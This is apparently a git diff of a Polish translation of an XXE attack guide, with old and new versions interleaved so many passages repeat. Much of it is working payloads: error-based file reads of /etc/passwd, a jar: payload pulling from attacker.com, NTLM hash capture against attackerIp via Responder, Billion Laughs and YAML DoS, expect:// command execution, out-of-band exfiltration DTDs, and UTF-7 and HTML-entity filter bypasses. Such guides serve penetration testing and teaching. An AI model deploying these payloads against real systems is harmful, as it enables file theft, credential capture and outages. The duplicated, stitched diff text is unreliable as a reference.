* Następuje ponowne zdefiniowanie parametru XML `custom_entity`, pierwotnie zdefiniowanego w zewnętrznym DTD, aby otoczyć [exploit XXE oparty na błędach](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). To ponowne zdefiniowanie ma na celu wywołanie błędu analizy, ujawniając zawartość pliku `/etc/passwd`.
* Poprzez użycie parametru `local_dtd`, zaangażowany jest zewnętrzny DTD, obejmujący nowo zdefiniowany `custom_entity`. Ta sekwencja działań powoduje wyemitowanie komunikatu błędu, który jest celem eksploatacji.
**Przykład z życia wzięty:** Systemy korzystające z środowiska graficznego GNOME często mają DTD w lokalizacji `/usr/share/yelp/dtd/docbookx.dtd`, zawierający jednostkę o nazwie `ISOamso`.
**Przykład z życia wzięty:** Systemy korzystające z środowiska pulpitu GNOME często posiadają DTD w lokalizacji `/usr/share/yelp/dtd/docbookx.dtd`, zawierający element o nazwie `ISOamso`.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
@ -209,24 +190,22 @@ Kroki przedstawione są w tym DTD:
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
![](<../.gitbook/assets/image (224).png>)
Ponieważ ta technika wykorzystuje **wewnętrzne DTD, musisz najpierw znaleźć ważne**. Możesz to zrobić, **instalując** ten sam **system operacyjny / oprogramowanie**, którego używa serwer, i **szukając domyślnych DTD**, lub **pobierając listę** domyślnych DTD w systemach i **sprawdzając**, czy któryś z nich istnieje:
Jako ta technika wykorzystuje **wewnętrzny DTD, musisz najpierw znaleźć ważny**. Możesz to zrobić, **instalując** ten sam **system operacyjny / oprogramowanie**, którego używa serwer, i **szukając niektórych domyślnych DTD**, lub **pobierając listę** domyślnych DTD w systemach i **sprawdzając**, czy którykolwiek z nich istnieje:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
```
Aby uzyskać więcej informacji, sprawdź [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
Dla dalszych informacji sprawdź [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
### Znajdowanie DTD w systemie
W następującym niesamowitym repozytorium github można znaleźć **ścieżki DTD, które mogą być obecne w systemie**:
W następującym niesamowitym repozytorium github możesz znaleźć **ścieżki DTD, które mogą być obecne w systemie**:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
Ponadto, jeśli masz **obraz Dockera systemu ofiary**, możesz użyć narzędzia z tego samego repozytorium do **skanowania** **obrazu** i **znalezienia** ścieżki **DTD**, która jest obecna w systemie. Przeczytaj [Readme na githubie](https://github.com/GoSecure/dtd-finder), aby dowiedzieć się jak to zrobić.
Co więcej, jeśli masz **obraz Dockera systemu ofiary**, możesz użyć narzędzia z tego samego repozytorium do **skanowania** **obrazu** i **znalezienia** ścieżki **DTD** obecnych w systemie. Przeczytaj [Readme na github](https://github.com/GoSecure/dtd-finder), aby dowiedzieć się jak.
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -238,49 +217,48 @@ Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
```
### XXE za pomocą parserów Office Open XML
### XXE za pomocą analizatorów plików Office Open XML
Dla bardziej szczegółowego wyjaśnienia tego ataku, **sprawdź drugą sekcję [tego niesamowitego postu](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) od Detectify**.
Dla bardziej szczegółowego wyjaśnienia tego ataku, **sprawdź drugą sekcję** [**tego niesamowitego posta**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **od Detectify**.
Możliwość **przesyłania dokumentów Microsoft Office jest oferowana przez wiele aplikacji internetowych**, które następnie przetwarzają pewne szczegóły tych dokumentów. Na przykład, aplikacja internetowa może umożliwiać użytkownikom importowanie danych poprzez przesłanie arkusza kalkulacyjnego w formacie XLSX. Aby parser mógł wyciągnąć dane z arkusza kalkulacyjnego, konieczne jest przetworzenie co najmniej jednego pliku XML.
Możliwość **przesyłania dokumentów pakietu Microsoft Office jest oferowana przez wiele aplikacji internetowych**, które następnie przetwarzają pewne szczegóły z tych dokumentów. Na przykład aplikacja internetowa może pozwalać użytkownikom importować dane poprzez przesłanie arkusza kalkulacyjnego w formacie XLSX. Aby analizator mógł wydobyć dane z arkusza kalkulacyjnego, konieczne będzie przetworzenie co najmniej jednego pliku XML.
Aby przetestować tę podatność, konieczne jest utworzenie **pliku Microsoft Office zawierającego ładunek XXE**. Pierwszym krokiem jest utworzenie pustego katalogu, do którego można rozpakować dokument.
Aby przetestować tę podatność, konieczne jest utworzenie **pliku pakietu Microsoft Office zawierającego ładunek XXE**. Pierwszym krokiem jest utworzenie pustego katalogu, do którego można rozpakować dokument.
Po rozpakowaniu dokumentu, plik XML znajdujący się w `./unzipped/word/document.xml` powinien zostać otwarty i edytowany w preferowanym edytorze tekstu (np. vim). XML powinien zostać zmodyfikowany w celu dodania żądanego ładunku XXE, często zaczynając od żądania HTTP.
Po rozpakowaniu dokumentu, plik XML znajdujący się w `./unzipped/word/document.xml` powinien zostać otwarty i edytowany w preferowanym edytorze tekstu (np. vim). XML należy zmodyfikować, aby zawierał pożądany ładunek XXE, często zaczynając od żądania HTTP.
Zmodyfikowane linie XML powinny zostać wstawione między dwa główne obiekty XML. Ważne jest, aby zastąpić adres URL monitorowalnym adresem URL dla żądań.
Zmodyfikowane linie XML należy wstawić między dwoma głównymi obiektami XML. Ważne jest, aby zastąpić adres URL adresem monitorowalnym dla żądań.
Na koniec, plik można spakować, aby utworzyć złośliwy plik poc.docx. Z wcześniej utworzonego katalogu "unzipped", należy uruchomić następujące polecenie:
Teraz utworzony plik można przesłać do potencjalnie podatnej aplikacji internetowej i mieć nadzieję, że żądanie pojawi się w dziennikach Burp Collaborator.
Wreszcie, plik można spakować, aby utworzyć złośliwy plik poc.docx. Z wcześniej utworzonego katalogu "unzipped" należy uruchomić następujące polecenie:
Teraz utworzony plik można przesłać do potencjalnie podatnej aplikacji internetowej, a można liczyć na pojawienie się żądania w dziennikach Burp Collaborator.
### Protokół Jar:
Protokół **jar** jest dostępny wyłącznie w **aplikacjach Java**. Jest on zaprojektowany w celu umożliwienia dostępu do plików w archiwum **PKZIP** (np. `.zip`, `.jar`, itp.), obsługując zarówno pliki lokalne, jak i zdalne.
Protokół **jar** jest dostępny wyłącznie w aplikacjach **Java**. Został zaprojektowany, aby umożliwić dostęp do plików w archiwum **PKZIP** (np. `.zip`, `.jar`, itp.), obsługując zarówno pliki lokalne, jak i zdalne.
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
{% hint style="danger" %}
Aby móc uzyskać dostęp do plików wewnątrz plików PKZIP, jest **bardzo przydatne do wykorzystania XXE za pomocą plików DTD systemu**. Sprawdź [tą sekcję, aby dowiedzieć się, jak wykorzystać pliki DTD systemu](xxe-xee-xml-external-entity.md#error-based-system-dtd).
Aby móc uzyskać dostęp do plików wewnątrz plików PKZIP, jest **bardzo przydatne do nadużywania XXE za pomocą plików DTD systemu.** Sprawdź [tę sekcję, aby dowiedzieć się, jak nadużywać pliki DTD systemu](xxe-xee-xml-external-entity.md#error-based-system-dtd).
{% endhint %}
Proces uzyskiwania dostępu do pliku wewnątrz archiwum PKZIP za pomocą protokołu jar obejmuje kilka kroków:
Proces uzyskiwania dostępu do pliku w archiwum PKZIP za pomocą protokołu jar obejmuje kilka kroków:
1. Wysyłane jest żądanie HTTP w celu pobrania archiwum zip z określonego miejsca, takiego jak `https://download.website.com/archive.zip`.
2. Odpowiedź HTTP zawierająca archiwum jest tymczasowo przechowywana na systemie, zwykle w lokalizacji takiej jak `/tmp/...`.
2. Odpowiedź HTTP zawierająca archiwum jest tymczasowo przechowywana w systemie, zazwyczaj w lokalizacji takiej jak `/tmp/...`.
3. Archiwum jest następnie rozpakowywane, aby uzyskać dostęp do jego zawartości.
4. Odczytywany jest konkretny plik wewnątrz archiwum, `file.zip`.
5. Po zakończeniu operacji, wszelkie tymczasowe pliki utworzone podczas tego procesu są usuwane.
4. Konkretny plik w archiwum, `file.zip`, jest odczytywany.
5. Po operacji, wszelkie tymczasowe pliki utworzone podczas tego procesu są usuwane.
Interesującą techniką, która przerywa ten proces na drugim kroku, jest utrzymanie otwartego połączenia serwera przez czas nieokreślony podczas udostępniania pliku archiwum. Narzędzia dostępne w [tym repozytorium](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mogą być wykorzystane w tym celu, w tym serwer Pythona (`slow_http_server.py`) i serwer Javy (`slowserver.jar`).
Interesującą techniką przerywającą ten proces na drugim kroku jest utrzymywanie otwartej nieskończenie długo połączenia serwera podczas udostępniania pliku archiwum. Narzędzia dostępne w [tym repozytorium](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) mogą być wykorzystane w tym celu, w tym serwer Pythona (`slow_http_server.py`) i serwer Java (`slowserver.jar`).
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
```
{% hint style="danger" %}
Zapisywanie plików w katalogu tymczasowym może pomóc w **eskalacji innej podatności związanej z przechodzeniem ścieżki** (takiej jak lokalne dołączanie plików, wstrzykiwanie szablonów, XSLT RCE, deserializacja itp.).
Zapisywanie plików w katalogu tymczasowym może pomóc **eskalować inną podatność związaną z trawersowaniem ścieżki** (taką jak lokalne dołączanie plików, wstrzykiwanie szablonów, XSLT RCE, deserializacja, itp).
{% endhint %}
### XSS
@ -289,11 +267,7 @@ Zapisywanie plików w katalogu tymczasowym może pomóc w **eskalacji innej poda
```
### DoS
#### Atak Billion Laugh
Atak Billion Laugh (miliard śmiechów) jest jednym z rodzajów ataków typu Denial of Service (DoS), który wykorzystuje podatność na ataki XML External Entity (XXE). W tym ataku, złośliwie spreparowany plik XML jest wysyłany do serwera, który próbuje go przetworzyć. Plik XML zawiera wiele zagnieżdżonych encji, które odwołują się do siebie nawzajem, tworząc nieskończoną pętlę. To powoduje, że serwer zużywa dużą ilość zasobów, takich jak pamięć i moc obliczeniowa, co prowadzi do niedostępności usługi dla innych użytkowników.
Atak Billion Laugh może być bardzo skuteczny, ponieważ serwer próbuje przetworzyć nieskończoną liczbę encji, co prowadzi do wyczerpania zasobów. Aby zabezpieczyć się przed tym atakiem, serwery powinny być skonfigurowane w taki sposób, aby nie przetwarzały zagnieżdżonych encji lub ograniczały ich liczbę.
#### Atak miliardowego śmiechu
```xml
<!DOCTYPE data [
<!ENTITY a0 "dos" >
@ -305,35 +279,6 @@ Atak Billion Laugh może być bardzo skuteczny, ponieważ serwer próbuje przetw
<data>&a4;</data>
```
#### Atak Yaml
Yaml (Yet Another Markup Language) jest popularnym formatem danych, który jest często używany do konfiguracji aplikacji. Atak Yaml polega na wykorzystaniu podatności w parsowaniu danych Yaml w celu wykonania nieautoryzowanych działań.
##### Jak działa atak Yaml?
Atak Yaml wykorzystuje podatność w parserze Yaml, który nieprawidłowo obsługuje niezaufane dane wejściowe. Atakujący może wstrzyknąć złośliwy kod Yaml, który zostanie wykonany przez parser, co może prowadzić do różnych niebezpiecznych działań, takich jak wykonanie dowolnego kodu na serwerze.
##### Przykład ataku Yaml
Poniżej przedstawiono przykład ataku Yaml, w którym atakujący próbuje wywołać komendę systemową na serwerze:
```yaml
!!python/object/apply:os.system ['ls']
```
W powyższym przykładzie, atakujący wykorzystuje złośliwy kod Yaml, aby wywołać komendę systemową "ls" na serwerze. Jeśli parser Yaml nie jest odpowiednio zabezpieczony, to taka manipulacja może zostać wykonana.
##### Jak się chronić przed atakiem Yaml?
Aby chronić się przed atakiem Yaml, należy:
- Unikać parsowania niezaufanych danych Yaml.
- Sprawdzać i filtrować dane wejściowe, aby zapobiec wstrzykiwaniu złośliwego kodu Yaml.
- Aktualizować parser Yaml do najnowszej wersji, która zawiera poprawki bezpieczeństwa.
- Korzystać z narzędzi do analizy statycznej kodu, które mogą wykrywać potencjalne podatności w kodzie Yaml.
##### Podsumowanie
Atak Yaml wykorzystuje podatność w parserze Yaml, aby wykonać nieautoryzowane działania na serwerze. Aby się przed nim chronić, należy unikać parsowania niezaufanych danych Yaml, sprawdzać i filtrować dane wejściowe oraz aktualizować parser Yaml do najnowszej wersji.
```xml
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
@ -345,31 +290,29 @@ g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```
#### Atak kwadratowego rozdmuchiwania
#### Atak kwadratowego rozprężenia
![](<../.gitbook/assets/image (531).png>)
#### Uzyskiwanie NTML
#### Pozyskiwanie NTML
Na hostach Windows możliwe jest uzyskanie skrótu NTML użytkownika serwera sieciowego poprzez ustawienie obsługi responder.py:
Na hostach z systemem Windows można uzyskać skrót NTML użytkownika serwera sieciowego, ustawiając obsługę responder.py:
```bash
Responder.py -I eth0 -v
```
i wysyłając następujące żądanie
i wysyłając następujący żądanie
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
```
Następnie możesz spróbować złamać hasz używając hashcat
## Ukryte powierzchnie XXE
### XInclude
Podczas integrowania danych klienta w dokumenty XML po stronie serwera, takie jak te w żądaniach SOAP, bezpośrednia kontrola nad strukturą XML jest często ograniczona, co utrudnia tradycyjne ataki XXE ze względu na ograniczenia dotyczące modyfikacji elementu `DOCTYPE`. Jednak atak `XInclude` zapewnia rozwiązanie, pozwalając na wstawienie zewnętrznych jednostek w dowolnym elemencie danych dokumentu XML. Ta metoda jest skuteczna nawet wtedy, gdy tylko część danych w generowanym przez serwer dokumencie XML może być kontrolowana.
Podczas integracji danych klienta w dokumentach XML po stronie serwera, takich jak te w żądaniach SOAP po stronie serwera, bezpośrednia kontrola nad strukturą XML jest często ograniczona, co utrudnia tradycyjne ataki XXE ze względu na ograniczenia dotyczące modyfikowania elementu `DOCTYPE`. Jednak atak `XInclude` zapewnia rozwiązanie, pozwalając na wstawienie zewnętrznych jednostek w dowolny element danych dokumentu XML. Ta metoda jest skuteczna nawet wtedy, gdy kontrolowane może być tylko część danych w generowanym przez serwer dokumencie XML.
Aby przeprowadzić atak `XInclude`, należy zadeklarować przestrzeń nazw `XInclude` i określić ścieżkę pliku dla zamierzonej zewnętrznej jednostki. Poniżej znajduje się zwięzły przykład, jak taki atak może być sformułowany:
Aby przeprowadzić atak `XInclude`, przestrzeń nazw `XInclude` musi zostać zadeklarowana, a ścieżka pliku do zamierzonej zewnętrznej jednostki musi zostać określona. Poniżej znajduje się zwięzły przykład, jak taki atak może być sformułowany:
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
@ -377,7 +320,7 @@ Sprawdź [https://portswigger.net/web-security/xxe](https://portswigger.net/web-
### SVG - Przesyłanie plików
Pliki przesyłane przez użytkowników do określonych aplikacji, które następnie są przetwarzane na serwerze, mogą wykorzystywać podatności w obsłudze plików XML lub plików zawierających XML. Powszechne formaty plików, takie jak dokumenty biurowe (DOCX) i obrazy (SVG), oparte są na XML.
Pliki przesyłane przez użytkowników do określonych aplikacji, które są następnie przetwarzane na serwerze, mogą wykorzystać podatności w obsłudze plików XML lub zawierających XML. Powszechne formaty plików, takie jak dokumenty biurowe (DOCX) i obrazy (SVG), opierają się na XML.
Kiedy użytkownicy **przesyłają obrazy**, te obrazy są przetwarzane lub sprawdzane po stronie serwera. Nawet dla aplikacji oczekujących formatów takich jak PNG lub JPEG, **biblioteka przetwarzania obrazów serwera może również obsługiwać obrazy SVG**. SVG, będąc formatem opartym na XML, może być wykorzystany przez atakujących do przesyłania złośliwych obrazów SVG, narażając w ten sposób serwer na podatności XXE (XML External Entity).
@ -385,29 +328,29 @@ Poniżej przedstawiono przykład takiego ataku, w którym złośliwy obraz SVG p
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
Inna metoda polega na próbie **wykonania poleceń** za pomocą opakowania PHP "expect":
Inna metoda polega na próbie **wykonania poleceń** za pomocą nakładki PHP "expect":
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
```
W obu przypadkach format SVG jest wykorzystywany do przeprowadzenia ataków wykorzystujących możliwości przetwarzania XML przez oprogramowanie serwera, co podkreśla konieczność solidnej walidacji danych wejściowych i zabezpieczeń.
W obu przypadkach format SVG jest wykorzystywany do uruchamiania ataków wykorzystujących zdolności przetwarzania XML oprogramowania serwera, podkreślając konieczność solidnej walidacji danych wejściowych i środków bezpieczeństwa.
Sprawdź [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) po więcej informacji!
**Zauważ, że pierwsza linia odczytanego pliku lub wyniku wykonania pojawi się W ŚRODKU utworzonego obrazu SVG. Musisz mieć dostęp do utworzonego obrazu SVG.**
**Zauważ, że pierwsza linia odczytanego pliku lub wyniku wykonania pojawi się W ŚRODKU utworzonego obrazu. Dlatego musisz mieć dostęp do obrazu utworzonego przez SVG.**
### **PDF - Przesyłanie plików**
### **PDF - Przesyłanie pliku**
Przeczytaj następujący post, aby **dowiedzieć się, jak wykorzystać XXE przesyłając plik** PDF:
Przeczytaj poniższy post, aby **dowiedzieć się, jak wykorzystać XXE przesyłając plik PDF**:
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
{% endcontent-ref %}
### Content-Type: Od x-www-urlencoded do XML
### Content-Type: Z x-www-urlencoded do XML
Jeśli żądanie POST akceptuje dane w formacie XML, możesz spróbować wykorzystać XXE w tym żądaniu. Na przykład, jeśli normalne żądanie zawiera:
Jeśli żądanie POST akceptuje dane w formacie XML, można spróbować wykorzystać XXE w tym żądaniu. Na przykład, jeśli normalne żądanie zawiera:
```xml
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
@ -415,7 +358,7 @@ Content-Length: 7
foo=bar
```
W takim przypadku możesz spróbować przesłać następujące żądanie, z tym samym rezultatem:
W takim razie możesz złożyć następujące żądanie, uzyskując ten sam wynik:
```xml
POST /action HTTP/1.0
Content-Type: text/xml
@ -423,7 +366,7 @@ Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
```
### Content-Type: Z JSON do XEE
### Content-Type: Od JSON do XEE
Aby zmienić żądanie, możesz użyć rozszerzenia Burp o nazwie "**Content Type Converter**". [Tutaj](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) znajdziesz ten przykład:
```xml
@ -455,7 +398,7 @@ Content-Type: application/xml;charset=UTF-8
```
Inny przykład można znaleźć [tutaj](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
## WAF i obejścia zabezpieczeń
## Bypassowanie WAF i zabezpieczeń
### Base64
```xml
@ -465,7 +408,7 @@ To działa tylko wtedy, gdy serwer XML akceptuje protokół `data://`.
### UTF-7
Możesz użyć \[**"Przepisu na kodowanie**" cyberchef tutaj ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) przekształcić na UTF-7.
Możesz użyć \[**"Przepisu kodowania**" cyberchef tutaj](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4) do transformacji na UTF-7.
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -479,15 +422,15 @@ Możesz użyć \[**"Przepisu na kodowanie**" cyberchef tutaj ]\(\[[https://gchq.
```
### Bypass protokołu File:/
Jeśli strona internetowa używa PHP, zamiast używać `file:/`, możesz użyć **obudow PHP** `php://filter/convert.base64-encode/resource=`, aby **uzyskać dostęp do wewnętrznych plików**.
Jeśli strona internetowa używa PHP, zamiast używać `file:/`, możesz użyć **opakowań PHP** `php://filter/convert.base64-encode/resource=` aby **uzyskać dostęp do wewnętrznych plików**.
Jeśli strona internetowa używa Javy, możesz sprawdzić [**protokół jar**](xxe-xee-xml-external-entity.md#jar-protocol).
### Encje HTML
Sztuczka z [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Możesz utworzyć **encję wewnątrz encji**, kodując ją za pomocą **encji HTML**, a następnie wywołać ją, aby **załadować dtd**.\
Należy zauważyć, że używane **encje HTML** muszą być **numeryczne** (jak w tym przykładzie \[w tym przykładzie]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
Możesz stworzyć **encję wewnątrz innej encji**, kodując ją za pomocą **encji HTML**, a następnie wywołać ją, aby **załadować dtd**.\
Zauważ, że używane **encje HTML** muszą być **numeryczne** (jak w tym przykładzie [\[w tym przykładzie\]\(https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)).
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
@ -501,7 +444,7 @@ Przykład DTD:
%abt;
%exfil;
```
## PHP Wrappery
## PHP Wrappers
### Base64
@ -510,27 +453,12 @@ Przykład DTD:
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```
#### **Wyodrębnianie zewnętrznego zasobu**
An XML External Entity (XXE) attack is a type of vulnerability that allows an attacker to extract data from the server or perform other malicious actions by exploiting the way XML parsers process external entities.
During an XXE attack, the attacker injects a specially crafted XML input that contains a reference to an external entity. This entity can be a local file, a remote file, or even a URL. When the XML parser processes the input, it resolves the external entity reference and retrieves its content.
To extract an external resource using XXE, the attacker needs to identify a vulnerable XML parser and inject the malicious XML input. The attacker can then observe the response from the server to extract the desired information.
There are several techniques that can be used to extract external resources through XXE attacks, including:
- **File Inclusion**: The attacker can reference a local file on the server and retrieve its content.
- **Remote File Inclusion**: The attacker can reference a remote file and retrieve its content.
- **URL Invocation**: The attacker can reference a URL and retrieve its content.
- **Out-of-Band (OOB) Retrieval**: The attacker can use XXE to send data to an external server controlled by them, allowing them to retrieve the data through a different channel.
To prevent XXE attacks, it is important to properly configure XML parsers and disable the processing of external entities. Additionally, input validation and sanitization should be implemented to prevent malicious XML input from being processed.
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
```
### Wykonywanie zdalnego kodu
**Jeśli moduł "expect" w PHP jest załadowany**
**Jeśli moduł PHP "expect" jest załadowany**
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
@ -541,35 +469,6 @@ To prevent XXE attacks, it is important to properly configure XML parsers and di
</creds>
```
## **SOAP - XEE**
SOAP (Simple Object Access Protocol) jest protokołem komunikacyjnym wykorzystywanym do wymiany danych między aplikacjami. Jednakże, SOAP może być podatny na ataki XEE (XML External Entity), które pozwalają na odczytanie danych z serwera lub wykonanie zdalnego kodu.
Atak XEE wykorzystuje podatność w przetwarzaniu danych XML przez serwer SOAP. Atakujący może wstrzyknąć złośliwe treści XML, które zawierają zewnętrzne encje XML. Gdy serwer próbuje przetworzyć te encje, może spowodować odczytanie danych z plików systemowych lub wykonanie kodu na serwerze.
Aby przeprowadzić atak XEE na serwer SOAP, atakujący musi znaleźć miejsce, w którym serwer przetwarza dane XML. Następnie, atakujący może wstrzyknąć złośliwe treści XML, które zawierają zewnętrzne encje XML, takie jak `<!DOCTYPE>`, `<!ENTITY>`, `<!ATTLIST>`, itp.
Przykład ataku XEE na serwer SOAP:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<foo>&xxe;</foo>
</soapenv:Body>
</soapenv:Envelope>
```
W powyższym przykładzie, atakujący wstrzykuje zewnętrzną encję `xxe`, która odczytuje zawartość pliku `/etc/passwd`. Serwer SOAP, próbując przetworzyć tę encję, odczytuje zawartość pliku i zwraca ją w odpowiedzi.
Aby zabezpieczyć serwer SOAP przed atakami XEE, należy:
- Wyłączyć przetwarzanie zewnętrznych encji XML.
- Sprawdzić i filtrować dane wejściowe XML, aby wykryć i zablokować potencjalnie złośliwe treści.
- Używać narzędzi do testowania penetracyjnego, takich jak OWASP ZAP, do wykrywania podatności XEE i innych podobnych ataków.
```xml
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
```
@ -577,11 +476,11 @@ Aby zabezpieczyć serwer SOAP przed atakami XEE, należy:
Ten przykład jest inspirowany [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
XLIFF (XML Localization Interchange File Format) jest wykorzystywany do standaryzacji wymiany danych w procesach lokalizacji. Jest to format oparty na XML, głównie używany do transferu danych lokalizowalnych między narzędziami podczas lokalizacji oraz jako wspólny format wymiany dla narzędzi CAT (Computer-Aided Translation).
XLIFF (XML Localization Interchange File Format) jest wykorzystywany do standaryzacji wymiany danych w procesach lokalizacyjnych. Jest to format oparty na XML głównie używany do przesyłania danych lokalizowalnych między narzędziami podczas lokalizacji oraz jako powszechny format wymiany dla narzędzi CAT (Computer-Aided Translation).
### Analiza żądania w trybie ślepego testowania
### Analiza żądania bez odpowiedzi
